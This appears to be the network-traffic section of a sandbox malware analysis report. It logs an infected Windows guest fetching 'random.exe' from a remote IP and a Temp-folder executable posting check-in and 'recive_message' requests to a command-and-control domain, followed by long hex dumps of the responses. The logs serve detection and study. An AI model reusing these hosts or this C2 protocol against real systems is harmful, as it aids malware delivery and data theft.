Dec 21, 2024 18:17:08.151345968 CET	224	IN	Data Raw: 99 c8 66 50 7c a1 c2 73 ce f1 36 9e a8 73 6f 92 ea 31 94 ed 15 86 a3 ac cb 21 e0 d6 65 79 bb 0e db 86 1d e0 96 67 16 a2 a4 e0 91 1c 70 41 4d b7 c2 02 ef a3 99 60 b7 0c bd a2 33 d9 95 31 c6 7d 7c ce aa ca 32 28 37 73 37 5a 2d 14 f8 7e df 1e d5 8c Data Ascii: fP\|s6so1!eygpAM`31}\|2(7s7Z-~_ir1b5<\I5<+4~CjhlU\p<@GGb2OA@q>Q)NLajz]- 9QRN9r_12n@o
Dec 21, 2024 18:17:08.151376009 CET	1236	IN	Data Raw: 00 15 30 46 5a a3 95 8d 65 14 08 a1 33 09 da 6d 76 99 98 84 ed 96 63 a6 cb 28 f7 7c e6 bb 51 be 2a 5d 87 9c 1c 61 ba cd 5d 7b 7a bb 27 68 0d 5c 96 d1 f6 7d e3 d4 98 b9 18 bb 2d d7 ad e3 2b 1d 3f 8e a5 f2 4d 58 5d 69 f7 4c 15 5b 36 7d 39 2c f0 be Data Ascii: 0FZe3mvc(\|Q]a]{z'h\}-+?MX]iL[6}9,K7E^ep%Eg% ?- (VWBHM'oqmeqF(]GD7Qag;_u7pS23~XN-:(00^}
Dec 21, 2024 18:17:08.151392937 CET	224	IN	Data Raw: 4f 9f 3a 3b b0 f3 0d 42 2b 2b ac 8e 1b a5 0a 85 46 0d ee 3b 5d 82 9d f9 55 16 10 58 67 8c b0 99 c8 d7 1c 5a 10 b5 47 58 38 6f 90 df e4 c4 28 89 eb bd b3 a5 ee 9d 14 26 a5 1a 12 7d 41 23 bc 22 f9 7d 17 6a 8e de 66 b2 9c 87 31 84 9b a4 71 70 dd 7e Data Ascii: O:;B++F;]UXgZGX8o(&}A#"}jf1qp~BiDD; i&5UQ>_((<FOVkU7AgV~+t4Y@75XywZ1-R>Oi(1=l'\|J]][<Qk
Dec 21, 2024 18:17:08.151407003 CET	1236	IN	Data Raw: 59 4d b4 d7 42 6f 36 8c 86 39 20 93 21 02 90 ba 2b e5 03 16 d7 0a 7e c9 07 a1 1c f4 73 4b 26 21 3f 58 90 5b f5 91 c3 9f d3 14 54 b2 0d e9 8a f2 c4 eb e4 8a 32 f8 32 e6 7d 4f 6c 41 7b 73 2c cd e8 7f 8c c5 2f 31 8d ab 50 3b e1 55 98 3a 88 17 e6 ee Data Ascii: YMBo69 !+~sK&!?X[T22}OlA{s,/1P;U:Yz[[zq!LbfqrsR*H4"h{%MnJD\<Xv6~'6;QlRh{z:SN@ur;)&=0vfX%t!
Dec 21, 2024 18:17:08.151424885 CET	1236	IN	Data Raw: e2 72 9f 2b 9a 70 43 c2 c5 9f b2 cf 87 d6 cc 86 5d 03 48 dd 5a 3e 08 78 6c dc 60 41 f4 20 b4 8c ae 04 3c bb 21 eb db 10 ab 50 0a 21 d2 1e b7 b7 40 d7 80 5a 55 43 90 25 2b bd 34 fd 81 8b e2 39 d0 cb 5d 54 08 b1 19 9b 5a c6 9a 58 bb 69 32 ec ef 07 Data Ascii: r+pC]HZ>xl`A <!P!@ZUC%+49]TZXi2d=QP""Q<wMBM"A\%NK7EfGN\Oi,Bfg7L:L/D\|2IM@9(&/Q@S
Dec 21, 2024 18:17:08.151443005 CET	1236	IN	Data Raw: 05 5d 62 3d ae 3f 2d 9c 7e 65 04 68 98 2b 3a 3e 84 ca aa 22 f5 e8 0f 53 1a 9b 5e d1 59 c8 25 9f ad 90 d5 81 5b 56 29 82 4c f5 af b6 4f e4 5b b9 47 04 7c 6c 6a b6 69 70 c9 a1 fd cf 63 f1 de 1a 5b a8 b8 36 a4 b4 08 1b 6a 76 ef 11 87 21 5e f1 19 4c Data Ascii: ]b=?-~eh+:>"S^Y%[V)LO[G\|ljipc[6jv!^L9>m=+?dUe8;{B"D<.pToA-i1y0Od2*Dybj%&u 8VI&z/o-`3->~nq4BHDd=_[
Dec 21, 2024 18:17:08.151459932 CET	1236	IN	Data Raw: b5 22 e6 13 ff 81 46 75 95 e1 25 a8 a7 97 09 5d 26 97 6e c4 7c 29 84 47 d1 80 e5 cc 61 fa 5b 29 f8 e7 de 39 25 e1 7c f5 e1 0e e8 8e 71 b5 85 05 c4 a7 0b 83 d7 4c 09 0e ef 3f e7 25 c1 e4 07 09 ea 5d ef 91 c7 c4 a8 53 91 e7 77 e0 b9 cd ad c6 2b 6b Data Ascii: "Fu%]&n\|)Ga[)9%\|qL?%]Sw+k/,>P-}w>,UKtx]jPSk9psNg[\|r-Aw!,PzrH\|>:}Y))",X.%n~Mff
Dec 21, 2024 18:17:08.151477098 CET	1236	IN	Data Raw: 42 b1 1b 9d e2 de 8c e0 2d c2 90 4c a6 59 59 d7 85 58 d2 31 d5 c8 c5 b1 d3 86 38 c2 24 88 5c fe 41 a3 66 13 67 cd b9 61 19 a4 56 76 c7 ad 48 1b 4a 31 c8 19 54 4a e2 02 cf 6d 9b d3 65 5d e0 47 5c c4 29 13 04 b9 8e fd cc 6c 48 99 c3 8e 96 5d 1e 49 Data Ascii: B-LYYX18$\AfgaVvHJ1TJme]G\)lH]IqR3i{[AlFv"$A;Oy[G(6Gw! T1I0E*/^-E2k>KJ8N-En#qs:Ji??gD6Jt#@%6~
Dec 21, 2024 18:17:08.151495934 CET	1236	IN	Data Raw: db 60 b1 6c 20 0d c1 b7 b7 80 99 41 c4 f7 06 8f fc 1b c0 30 60 5b ab ba fd ce a1 76 36 78 34 c4 1b d8 0c e1 5d 9b 6e 0a 08 1a 61 82 2d 1e ff 87 3e 88 ce de 5f be b7 a8 4f 59 11 a8 fc 65 ef c6 f9 39 fa 63 ef 69 cd 91 85 bf 6b 4f eb a1 dc 87 23 54 Data Ascii: `l A0`[v6x4]na->_OYe9cikO#Tisr;rP+NF%$1Qr[jijoN3iW[wBXlTYYbM\6MQPk&!:?\|i_v[[,E`ka;w_NNL)7).2;L
Dec 21, 2024 18:17:08.271214008 CET	1236	IN	Data Raw: 2e 91 fb 62 eb 69 5b 40 fd a5 df da 8a f5 cb 14 78 9f 70 fc 33 67 aa 64 85 ff 9d 88 c1 10 2d 37 74 c4 16 84 13 2c c8 70 95 d4 04 0d 1d a3 9f 01 45 4e b0 ca 86 1f 9e 34 c6 3f 93 d1 78 c0 65 7b 1e be d8 78 a0 e1 a3 79 ea df 92 3f 5e 4f 58 71 e3 05 Data Ascii: .bi[@xp3gd-7t,pEN4?xe{xy?^OXqw.)<A'>c9$WVcP>+&n2%5:m!2=i&eT6_"m{?c_1v^{Tv{W8-H;

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49931	31.41.244.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:17:09.099761963 CET	141	OUT	GET /files/karl/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Thu, 19 Dec 2024 14:25:14 GMT If-None-Match: "67642cca-5600"
Dec 21, 2024 18:17:10.427295923 CET	190	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:17:10 GMT Last-Modified: Thu, 19 Dec 2024 14:25:14 GMT Connection: keep-alive ETag: "67642cca-5600"

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49787	104.21.67.146	443	8100	C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:18 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cheapptaxysu.click
2024-12-21 17:16:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-21 17:16:19 UTC	560	IN	HTTP/1.1 403 Forbidden Date: Sat, 21 Dec 2024 17:16:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oj8NPlXgGxU6%2FUVST66rq2S3pL93iP%2FRlgRL7RDcXmRIkJpSJvHmi66FKlPFNWhi56XD%2FjTZrZ9oibySgAANUap1lrH8LGkLNf%2BKDSVi1Iwo9Qj1itZIHCP5HJocbZCITWZZGm0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5984ea3b1c8c69-EWR
2024-12-21 17:16:19 UTC	809	IN	Data Raw: 31 31 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11c4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-12-21 17:16:19 UTC	1369	IN	Data Raw: 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: i/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementB
2024-12-21 17:16:19 UTC	1369	IN	Data Raw: 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form ac
2024-12-21 17:16:19 UTC	1009	IN	Data Raw: 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 Data Ascii: ass="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Per
2024-12-21 17:16:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49789	104.21.67.146	443	8100	C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:20 UTC	355	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 50 Host: cheapptaxysu.click
2024-12-21 17:16:20 UTC	50	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=CZJvss--geopoxid&j=
2024-12-21 17:16:21 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 17:16:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0tc92qa3lu8s8qtjdhb9rmrtk2; expires=Wed, 16 Apr 2025 11:02:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8zSbg5icNjwV%2Bha8t426zGPTK71rEthD7UZ3WXC4yw5L0tTCImQyZzdeRUpcx28bkkLZhUqeyktOoitaWSb%2BI0QU4%2BcYFIrLDHVkbW4JftSPXn4QH8B%2FEDXuvzYuYWmgv1FT5V0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5984f52a2d4362-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1761&min_rtt=1754&rtt_var=672&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1041&delivery_rate=1612368&cwnd=250&unsent_bytes=0&cid=afffc30fff78302f&ts=800&x=0"
2024-12-21 17:16:21 UTC	239	IN	Data Raw: 63 34 38 0d 0a 6b 41 2b 38 49 51 78 70 2b 54 46 58 2f 34 6d 47 41 30 51 55 6f 31 79 42 55 67 46 6a 76 68 6e 47 46 31 4f 6f 38 33 36 38 35 39 58 72 4c 63 6f 44 4e 6c 33 56 45 79 53 61 71 37 78 33 4e 6d 48 47 63 4b 4d 7a 5a 55 47 45 66 36 64 37 49 4d 33 66 58 4d 71 4b 39 36 70 70 33 55 31 2f 44 4e 55 54 4d 6f 65 72 76 46 67 2f 4e 73 59 79 6f 32 67 6a 42 74 52 37 70 33 73 78 79 5a 67 52 7a 49 75 32 2b 47 50 62 53 57 6b 4b 6e 56 41 37 6b 75 7a 6a 5a 69 56 2b 7a 54 58 73 4f 6d 78 42 6b 6a 75 6a 62 58 47 53 30 54 50 5a 6b 37 54 64 62 73 39 4b 4c 68 54 56 53 6e 57 61 35 36 51 35 5a 6e 58 47 50 75 30 30 5a 51 6a 57 63 61 35 7a 4d 4d 79 5a 44 74 57 42 76 66 68 74 32 45 68 6a 41 34 6c 64 4d 5a 58 6e 35 57 77 6c 4e 6f Data Ascii: c48kA+8IQxp+TFX/4mGA0QUo1yBUgFjvhnGF1Oo836859XrLcoDNl3VEySaq7x3NmHGcKMzZUGEf6d7IM3fXMqK96pp3U1/DNUTMoervFg/NsYyo2gjBtR7p3sxyZgRzIu2+GPbSWkKnVA7kuzjZiV+zTXsOmxBkjujbXGS0TPZk7Tdbs9KLhTVSnWa56Q5ZnXGPu00ZQjWca5zMMyZDtWBvfht2EhjA4ldMZXn5WwlNo
2024-12-21 17:16:21 UTC	1369	IN	Data Raw: 39 2b 35 43 67 6a 57 5a 77 6f 6c 6e 59 67 32 34 51 52 7a 6f 50 33 37 53 50 48 41 32 6b 48 32 77 74 31 6c 65 66 71 5a 43 56 35 78 6a 2f 6a 49 6d 77 42 33 33 4f 73 63 54 76 46 6e 68 50 51 6a 37 44 36 5a 4e 6c 4d 61 51 4f 64 58 44 62 64 70 61 52 6d 50 6a 61 5a 66 73 4d 67 59 41 4c 49 64 72 55 31 4c 6f 53 49 58 4e 6d 4a 39 36 6f 74 32 45 31 76 42 70 74 42 50 5a 62 67 34 58 4d 74 66 38 77 7a 34 7a 31 70 44 74 39 37 6f 33 38 37 78 5a 73 59 30 34 69 78 38 6d 32 65 44 53 34 4d 67 78 4e 74 33 63 6a 68 63 53 46 36 31 33 7a 5a 63 48 78 50 78 54 75 6a 65 58 47 53 30 52 54 62 68 72 54 35 59 74 31 4c 5a 52 6d 62 51 54 4f 51 37 76 5a 6e 49 33 6a 4c 50 66 45 36 62 51 66 66 63 71 39 38 4e 4d 32 56 58 4a 44 46 73 4f 6f 74 68 67 4e 50 42 70 42 66 50 34 72 72 70 48 35 6f 62 Data Ascii: 9+5CgjWZwolnYg24QRzoP37SPHA2kH2wt1lefqZCV5xj/jImwB33OscTvFnhPQj7D6ZNlMaQOdXDbdpaRmPjaZfsMgYALIdrU1LoSIXNmJ96ot2E1vBptBPZbg4XMtf8wz4z1pDt97o387xZsY04ix8m2eDS4MgxNt3cjhcSF613zZcHxPxTujeXGS0RTbhrT5Yt1LZRmbQTOQ7vZnI3jLPfE6bQffcq98NM2VXJDFsOothgNPBpBfP4rrpH5ob
2024-12-21 17:16:21 UTC	1369	IN	Data Raw: 38 61 51 66 54 64 71 67 31 66 34 71 57 42 4a 37 64 39 39 68 75 79 6b 42 6b 53 61 35 51 4f 35 50 73 38 69 45 35 4f 4e 68 2b 35 44 77 6a 57 5a 78 32 70 58 30 33 32 4a 34 52 33 59 75 35 2f 57 6a 52 53 32 34 4c 6c 6c 59 78 6c 75 44 6e 62 43 4a 6b 79 7a 37 72 4e 57 49 4c 31 6a 76 71 4e 54 62 53 30 55 53 65 74 4b 44 35 4c 2b 74 41 59 41 57 63 52 58 57 43 70 66 30 68 49 58 71 42 5a 71 4d 39 61 77 54 5a 64 4b 56 2f 50 38 2b 62 45 4e 61 4c 74 4f 42 69 32 6b 4e 69 41 35 46 65 4f 35 6e 6a 37 57 6f 74 63 4d 45 2f 36 58 41 74 51 64 74 6a 35 43 31 78 2f 70 59 51 30 34 72 31 78 32 37 51 54 57 6b 64 32 30 78 37 68 4b 76 6a 62 57 59 75 67 54 4c 71 4d 47 67 4c 32 48 75 6a 65 44 54 4a 6c 68 2f 54 67 72 33 38 61 74 70 50 5a 77 61 64 55 7a 4b 5a 37 76 5a 6b 4c 33 72 4e 66 71 Data Ascii: 8aQfTdqg1f4qWBJ7d99huykBkSa5QO5Ps8iE5ONh+5DwjWZx2pX032J4R3Yu5/WjRS24LllYxluDnbCJkyz7rNWIL1jvqNTbS0USetKD5L+tAYAWcRXWCpf0hIXqBZqM9awTZdKV/P8+bENaLtOBi2kNiA5FeO5nj7WotcME/6XAtQdtj5C1x/pYQ04r1x27QTWkd20x7hKvjbWYugTLqMGgL2HujeDTJlh/Tgr38atpPZwadUzKZ7vZkL3rNfq
2024-12-21 17:16:21 UTC	174	IN	Data Raw: 77 7a 57 39 4e 54 62 47 30 55 53 65 6a 4c 37 67 59 39 42 4b 59 77 32 54 56 44 75 51 34 4f 4a 71 49 58 48 48 4d 2b 73 39 5a 67 4c 64 66 36 35 6e 4d 73 47 62 45 64 54 46 2b 62 4a 71 78 67 4d 32 53 37 78 66 48 49 33 77 39 6e 64 6d 61 59 38 6e 6f 7a 64 76 51 59 51 37 70 33 6f 34 78 5a 6b 55 30 59 71 7a 2f 47 76 59 54 6d 73 45 6b 55 45 39 6b 2b 62 76 62 69 31 6b 77 54 50 6e 50 47 63 4a 31 33 48 6b 4f 33 48 4e 69 56 79 47 78 59 4c 2f 59 74 35 41 65 45 75 45 48 53 7a 64 37 4f 67 68 66 6a 62 4e 4d 4f 4d 2f 62 77 33 58 0d 0a Data Ascii: wzW9NTbG0USejL7gY9BKYw2TVDuQ4OJqIXHHM+s9ZgLdf65nMsGbEdTF+bJqxgM2S7xfHI3w9ndmaY8nozdvQYQ7p3o4xZkU0Yqz/GvYTmsEkUE9k+bvbi1kwTPnPGcJ13HkO3HNiVyGxYL/Yt5AeEuEHSzd7OghfjbNMOM/bw3X
2024-12-21 17:16:21 UTC	1369	IN	Data Raw: 33 63 64 34 0d 0a 63 36 56 35 50 38 32 55 46 64 61 4e 70 66 4e 70 31 6b 4a 67 42 4a 70 58 4d 4a 6a 76 34 32 55 67 65 59 46 77 6f 7a 64 37 51 59 51 37 69 31 49 45 69 4c 41 6d 6e 70 72 35 36 79 33 5a 54 79 35 54 32 31 38 32 6b 65 50 72 5a 79 39 36 79 7a 66 6f 50 47 67 46 30 48 4b 68 63 7a 44 50 6c 42 33 61 69 62 33 30 62 74 31 4d 59 51 53 54 45 33 76 64 37 50 77 68 66 6a 62 6b 4b 65 67 2b 5a 55 48 44 4e 62 30 31 4e 73 62 52 52 4a 36 4a 76 76 52 72 32 30 39 76 44 5a 4e 57 50 5a 6e 71 34 6d 63 6c 65 63 55 37 34 6a 39 6e 44 64 4a 78 70 58 51 39 77 5a 34 58 32 38 58 35 73 6d 72 47 41 7a 5a 4c 71 6c 41 6a 69 76 76 6f 49 54 6b 34 32 48 37 6b 50 43 4e 5a 6e 48 71 32 66 7a 76 45 6c 42 50 62 68 72 6a 31 59 4e 68 50 5a 41 4b 54 56 54 71 55 2b 65 64 74 4b 48 48 50 4d Data Ascii: 3cd4c6V5P82UFdaNpfNp1kJgBJpXMJjv42UgeYFwozd7QYQ7i1IEiLAmnpr56y3ZTy5T2182kePrZy96yzfoPGgF0HKhczDPlB3aib30bt1MYQSTE3vd7PwhfjbkKeg+ZUHDNb01NsbRRJ6JvvRr209vDZNWPZnq4mclecU74j9nDdJxpXQ9wZ4X28X5smrGAzZLqlAjivvoITk42H7kPCNZnHq2fzvElBPbhrj1YNhPZAKTVTqU+edtKHHPM
2024-12-21 17:16:21 UTC	1369	IN	Data Raw: 4f 32 33 79 74 66 69 50 41 6c 68 76 56 6a 62 7a 39 61 38 78 50 59 42 6d 65 51 53 66 64 70 61 52 6d 50 6a 61 5a 66 74 55 33 63 78 48 66 4f 5a 56 6a 4d 74 79 61 45 64 4c 46 71 4c 78 30 6e 6b 52 69 53 38 4d 54 4d 35 4c 69 35 32 34 6e 66 38 30 7a 35 6a 6c 6d 41 4e 70 2f 72 6e 38 78 7a 4a 63 64 32 34 2b 30 38 32 66 58 52 47 59 4d 6d 45 46 31 30 36 76 6a 65 57 59 75 67 52 66 6b 49 6d 30 52 6e 47 54 71 62 48 48 4e 6e 56 79 47 78 62 50 34 59 74 70 45 59 67 32 65 56 54 69 63 35 4f 56 68 4b 58 4c 4b 4e 2b 55 78 62 67 54 52 66 37 5a 2f 4f 73 57 64 46 64 4b 49 39 37 77 74 32 56 73 75 55 39 74 69 4f 4a 50 6c 34 33 64 6d 61 59 38 6e 6f 7a 64 76 51 59 51 37 70 58 6b 2b 79 5a 34 66 33 59 53 39 34 48 2f 53 53 6d 59 4f 6c 31 67 37 6d 2f 6e 69 62 69 39 31 77 6a 66 6b 4f 47 Data Ascii: O23ytfiPAlhvVjbz9a8xPYBmeQSfdpaRmPjaZftU3cxHfOZVjMtyaEdLFqLx0nkRiS8MTM5Li524nf80z5jlmANp/rn8xzJcd24+082fXRGYMmEF106vjeWYugRfkIm0RnGTqbHHNnVyGxbP4YtpEYg2eVTic5OVhKXLKN+UxbgTRf7Z/OsWdFdKI97wt2VsuU9tiOJPl43dmaY8nozdvQYQ7pXk+yZ4f3YS94H/SSmYOl1g7m/nibi91wjfkOG
2024-12-21 17:16:21 UTC	1369	IN	Data Raw: 6f 32 52 78 6b 6f 63 4d 79 59 4b 6f 76 48 53 65 52 47 4a 4c 77 78 4d 7a 6c 4f 33 6a 5a 79 68 6b 78 44 6a 73 50 32 6f 49 32 48 4f 6e 64 54 58 4f 6c 68 6e 64 69 62 7a 31 62 74 46 48 5a 77 57 53 58 48 58 54 71 2b 4e 35 5a 69 36 42 48 2f 67 7a 62 77 79 63 5a 4f 70 73 63 63 32 64 58 49 62 46 75 2f 78 6f 33 6b 6c 6f 44 35 35 56 50 35 6a 72 37 32 49 70 63 73 63 36 37 44 42 6f 43 4e 31 39 6f 58 38 36 7a 4a 77 66 32 49 50 33 76 43 33 5a 57 79 35 54 32 33 4d 75 6b 4f 66 6a 49 54 6b 34 32 48 37 6b 50 43 4e 5a 6e 48 43 6f 63 54 62 4b 6e 42 2f 57 67 4c 50 34 61 4e 35 4c 66 41 4f 62 56 43 65 50 36 2b 31 6b 4b 6e 58 42 4f 75 55 35 5a 51 4c 59 4f 2b 6f 31 4e 74 4c 52 52 4a 36 6f 75 2f 56 45 32 56 67 75 46 4e 56 4b 64 5a 72 6e 70 44 6c 6d 64 38 6f 30 37 44 31 67 42 39 39 Data Ascii: o2RxkocMyYKovHSeRGJLwxMzlO3jZyhkxDjsP2oI2HOndTXOlhndibz1btFHZwWSXHXTq+N5Zi6BH/gzbwycZOpscc2dXIbFu/xo3kloD55VP5jr72Ipcsc67DBoCN19oX86zJwf2IP3vC3ZWy5T23MukOfjITk42H7kPCNZnHCocTbKnB/WgLP4aN5LfAObVCeP6+1kKnXBOuU5ZQLYO+o1NtLRRJ6ou/VE2VguFNVKdZrnpDlmd8o07D1gB99
2024-12-21 17:16:21 UTC	1369	IN	Data Raw: 66 4f 49 58 4d 6a 46 37 36 41 6a 6e 6c 45 75 55 39 73 55 4e 6f 2f 35 34 6d 49 77 64 59 59 41 33 52 64 31 43 39 74 72 6f 32 49 2b 69 74 39 63 30 63 58 76 79 79 33 58 52 48 55 61 6a 56 34 6c 6d 71 76 62 4c 32 5a 75 67 57 61 6a 42 57 41 50 30 6e 79 79 5a 48 7a 74 68 78 62 5a 6c 62 44 6c 59 70 34 4e 4c 67 33 62 43 32 62 54 71 2b 42 77 5a 69 36 52 62 4c 68 6c 4d 46 61 4d 4b 62 73 37 4b 49 71 48 58 49 62 58 2b 62 4a 2f 6e 68 73 75 54 4a 68 42 4a 35 76 6f 38 6d 4a 68 53 50 38 5a 2b 54 31 6c 46 73 31 46 6d 6e 49 72 78 35 63 4c 7a 38 6d 69 38 57 50 51 52 48 68 4c 31 52 4d 36 33 62 50 64 49 57 34 32 2f 6e 43 6a 4b 43 4e 5a 6e 45 36 6e 65 7a 2f 4e 68 77 32 54 6f 71 33 2f 61 38 6c 53 4c 6b 58 62 56 58 58 46 75 36 6f 68 49 6d 65 42 5a 72 4e 69 4f 46 53 50 4c 50 51 6e Data Ascii: 